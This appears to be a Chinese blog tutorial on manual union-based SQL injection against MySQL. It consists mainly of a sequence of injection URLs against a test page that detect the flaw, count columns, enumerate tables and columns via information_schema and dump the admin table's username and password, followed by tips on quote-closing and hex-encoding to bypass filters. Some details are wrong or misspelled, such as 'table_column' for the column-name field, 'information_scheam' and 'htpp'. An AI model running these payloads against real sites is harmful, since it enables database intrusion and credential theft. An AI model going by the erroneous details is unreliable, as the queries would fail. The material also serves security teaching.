MySQL显错注入

显错注入

这里拿MySQL数据库做事例,其他数据库方法类似,函数有差异而已

  • 准备知识:

     1、MySQL数据库5.0以上版本有系统自带库(information_schema),其他数据库可采用爆破或猜解来得到
     	
     2、
     	库名:table_schema
     	表名:table_name
     	字段名:table_column
    
  • 核心:显错注入,顾名思义就是利用数据库查询语句,将数据库的内容显示出来,一般在回显页面中,网页源代码可能也存在回显

     1、判断是否存在注入
     	http://192.168.1.10/test.php?id=1 and 1=2
     	http://192.168.1.10/test.php?id=2-1
     	http://192.168.1.10/test.php?id=1'
     	http://192.168.1.10/test.php?id=1 and sleep(5)
    
     2、二分法判断该表字段数(二分法加减的形式如:10,20,40)
     	http://192.168.1.10/test.php?id=1 order by 3
     	
     3、联合查询判断输出位(有些输出点可能在源代码中)
     	htpp://192.168.1.10/test.php?id=1 and 1=2 union all select 1,2,3 -- qwe
     	
     4、查询目标服务器表名(table_name,table_schema)
     http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1 -- qwe
     
     5、查询服务器字段名(table_column)
     http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,table_column,3 from information_scheam.columns where table_schema=database() and table_name='admin' limit 1,1 -- qwe
     
     6、查询字段内容
     http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,username,3 from admin limit 1,1 -- qwe
     http://192.168.1.10/test.php?id=1 and 1=2 union all select 1,password,3 from admin limit 1,1 -- qwe
    
  • 注意点:
    1、闭合方式:无闭合、’‘、(’‘)、“”、(“”)、<>、<’’>
    2、当不能输入字符串时,可采用hex编码替换对应字符串,或采用多重语句套娃。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值